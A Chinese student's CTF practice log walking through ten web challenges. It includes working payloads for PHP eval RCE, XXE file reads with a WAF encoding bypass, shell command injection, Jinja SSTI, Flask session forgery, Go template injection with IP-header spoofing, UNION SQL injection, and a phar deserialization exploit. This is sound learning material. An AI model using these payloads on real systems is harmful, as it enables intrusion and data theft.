文章目录
前言
今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。
题目
[GXYCTF 2019]禁止套娃
打开题目,直接扫一下目录
发现是存在git泄露
—参考文章
然后使用专门的工具Githack(下载地址)
打开终端,运行python(运行后要访问,/.git/
才能有结果)
源代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析一下
第一个if语句禁用了一些php伪协议
第二个if语句很明显是无参rce的标志,一般代码为
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
第三个if语句是禁用我们要rce的一些函数,比如phpinfo()
等
所以rce的关键是无参
方法一
使用session_start()+session_id()读取文件(php<7)
payload
?exp=show_source(session_id(session_start()));
Cookie: PHPSESSID=flag.php
得到flag
方法二
php函数直接读取文件
先读取数组,查看flag在第几个
payload
?exp=print_r(scandir(current(localeconv())));
发现是第三个,那么我们可以先倒序再读取第二个
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
即可得到flag
[NCTF 2019]Fake XML cookbook
打开题目,根据提示应该不是sql注入
随便输入然后bp抓包,发现是xml格式的登录
联想到XML中存在的XXE漏洞
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>1</password></user>
修改下命令,直接得到flag
[NSSRound#7 Team]ec_RCE
源代码
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
分析一下,有两个POST参数可控,然后出现shell_exec()函数
它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
payload
action=||&data='cat /flag'
或者
action=;cat /flag&data=
得到flag
[NCTF 2018]Flask PLUS
打开题目,在url输入{{7*7}}
发现存在ssti漏洞
payload
{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}
然后得到flag
[NSSRound#13 Basic]flask?jwt?
打开题目,想注册admin发现不行(暗示很明显了)
那么我们随便注册一个登陆进去,想拿flag发现不是admin
猜测这里考点是session伪造
我们在忘记密码的页面找到密钥
然后利用工具flask-session-cookie
先解密
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzjsOwjAMANC7ZGaI48SOe5nK8UewtnRC3J1KrG96n7LnEeezbO_jikfZX162gmswavTR0k2H0JIq3o0VPZhVeoVkCLyVpyO5VA2WvAXIl3MjcJuVwkiMcZmiVkGqYp4NQyjH8hFIM6F7qC2CCRiu3Gu5I9cZx3_TyvcH8tkwDA.ZPnLwg.GAgeK3Ru7jXj9-2no9xRCYCkhvA"
得到
{'_fresh': True, '_id': '3b573ae452fdca596b909d4c7a3de77a9401f71e309d78d36d90ae79fe3016dbd7261dc806ec69c73bca3a093609cdf23e96f5bd5e368f14deacb61813eda740', '_user_id': '2'}
那么我们想伪造admin的话,猜测_user_id: 1
加密一下
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '3b573ae452fdca596b909d4c7a3de77a9401f71e309d78d36d90ae79fe3016dbd7261dc806ec69c73bca3a093609cdf23e96f5bd5e368f14deacb61813eda740', '_user_id': '1'}"
得到加密后字符串,回到拿flag页面bp抓包
修改session得到flag
[SCTF 2021]loginme
下载题目附件,发现是go语言
main.go
package main
import (
"html/template"
"loginme/middleware"
"loginme/route"
"loginme/templates"
"github.com/gin-gonic/gin"
)
func main() {
gin.SetMode(gin.ReleaseMode) //将 Gin 框架的运行模式设置为发布模式
r := gin.Default() //使用 Gin 框架时创建一个默认的路由引擎实例的代码
templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl")) 模板解析
r.SetHTMLTemplate(templ)
r.Use(gin.Logger())
r.Use(gin.Recovery())
authorized := r.Group("/admin") //创建一个新的路由名为admin
authorized.Use(middleware.LocalRequired()) //调用middleware.LocalRequired()方法,其实是waf
{
authorized.GET("/index", route.Login) //定义了一个在 "/admin/index" 路径上的 GET 请求的路由
}
r.GET("/", route.Index)
r.Run(":9999")
}
既然调用了middleware.LocalRequired()
那么我们看一下middleware.go
package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
简单分析一下,方法禁用了x-forwarded-for
和x-client-ip
然后检测是否为127.0.0.1,那么我们可以用X-Real-IP绕过
再回到源码,继续看route.Login具体干什么
(这里截取有用部分)
func Login(c *gin.Context) {
idString, flag := c.GetQuery("id") //通过调用 c.GetQuery("id") 查询参数并将返回的值赋值给 idString 和 flag
if !flag {
idString = "1"
}
id, err := strconv.Atoi(idString)
if err != nil {
id = 1
}
TargetUser := structs.Admin //一个结构体
for _, user := range structs.Users { //循环遍历 structs.Users 切片,在其中查找与给定 id 值匹配的用户,并将找到的用户赋值给 TargetUser 变量
if user.Id == id {
TargetUser = user
}
}
age := TargetUser.Age //age := TargetUser.Age 这行代码将从 TargetUser 中获取 Age 字段的值,并将其赋值给 age 变量。
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
if err != nil {
c.AbortWithError(500, err)
}
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age) //格式化字符串并赋值给新串html
if err != nil {
c.AbortWithError(500, err)
}
tmpl, err := template.New("admin_index").Parse(html) //Parse()方法用来解析、评估模板中需要执行的action,其中需要评估的部分都使用{{}}包围,并将评估后(解析后)的结果赋值给tmpl
if err != nil {
c.AbortWithError(500, err)
}
tmpl.Execute(c.Writer, TargetUser)
}
从这里就可以看到突破口,首先是TargetUser := structs.Admin
会创建结构体,然后从 TargetUser 中获取 Age 字段的值,赋值给html,最后Parse()方法解析。
具体思路就是go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露,而在go语言中使用的是{{.name}}
代表要应用的对象
我们接着看下结构体structs.go,发现思路正确
payload
?id=0&age={{.Password}}
我们bp抓包,伪造ip和GET上传参数
得到flag
[网鼎杯 2018]Fakebook
打开题目,先dirsearch扫一下目录
发现有robots.txt
访问一下,发现存在源码泄露
源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这里发现isValidBlog()
,有正则匹配(我说怎么填个1不行)
那么回去注册界面,随便注册一个
成功进入,此时发现有GET传参参数no
,试试?no=1'
,发现存在sql注入漏洞
我们先查询下字段数
?no=1 order by 5 --+
发现测试到5的时候报错
说明字段数为4
然后用联合查询注入,发现union select
被禁了
这里尝试union/**/select
发现可以绕过
爆库名
?no=-1 union/**/select 1,database(),3,4 --+
爆表名
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'fakebook' --+
爆列名
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users' --+
查询数据,结果发现没有flag
并且还有一串以序列化格式存在的字符串,且在后面发现其报错是Trying to get property of non-object(正在尝试获取非对象的属性)就是要让我们传对象,且爆出了路径,所以可能在这里进行了反序列化
回想到扫目录里存在
./flag.php
同时 curl存在ssrf,可以使用file://协议读取文件内容
构造exp
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo());
因为我们还是要先查询,所以将序列化后的字符串添加到查询语句里
payload
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' --+
然后base64解码一下得到flag
[CSAWQual 2019]Unagi
打开题目,发现有上传文件功能
并且给出xml样例
发现题目已经告诉我们flag位置
我们可以恶意上传xml文件去读取flag
exp
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
注意下,要记得引用&xxe,不然不会回显flag
上传后发现有waf
那么我们可以编码绕过
打开kali,输入
iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
然后将新得到的文件上传,得到flag
[MoeCTF 2022]Sqlmap_boy
打开题目,发现是登录框并且不给注册
查看下源码,有sql后台查询语句
$sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";';
分析一下,闭合方式为双引号闭合
那么我们试试万能语句
admin" or 1#
发现成功进入
然后就是常规注入
先查询一下字段
?id=-1' union select 1,2,3 --+
发现字段数为3
爆库名
?id=-1' union select 1,2,database() --+
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'moectf' --+
爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag' --+
查询数据
?id=-1' union select 1,2,group_concat(flAg) from flag --+
得到flag
[SWPU 2018]SimplePHP
打开题目,发现有查看文件和上传文件的功能
我们读取下file.php
再分别读取下
function.php源码
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
简单分析一下,就是对上传文件进行检测,白名单为array("gif","jpeg","jpg","png")
class.php源码
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
出现反序列化,然后结合题目有文件上传功能,猜测考点是phar反序列化
pop链子
C1e4r.__destruct() --> Show.__toString() --> Test.__get() --> Test.get() --> Test.file_get()
exp
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source'] = "/var/www/html/f1ag.php";
echo serialize($a);
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将生成的phar文件修改下后缀为jpg上传
然后访问./upload
查看上传后的文件名
然后在查看文件的地方用
phar://
读取
payload
?file=phar://upload/db82217ea3f3df41dad4352edeee28cd.jpg
解码一下得到flag
总结
今天是九月十二号,刷题记录1正式完结,总计十道题。感慨还有好多好多页题目等着我刷,坚持就是胜利,毕竟接触ctf后耐心是必须要有的。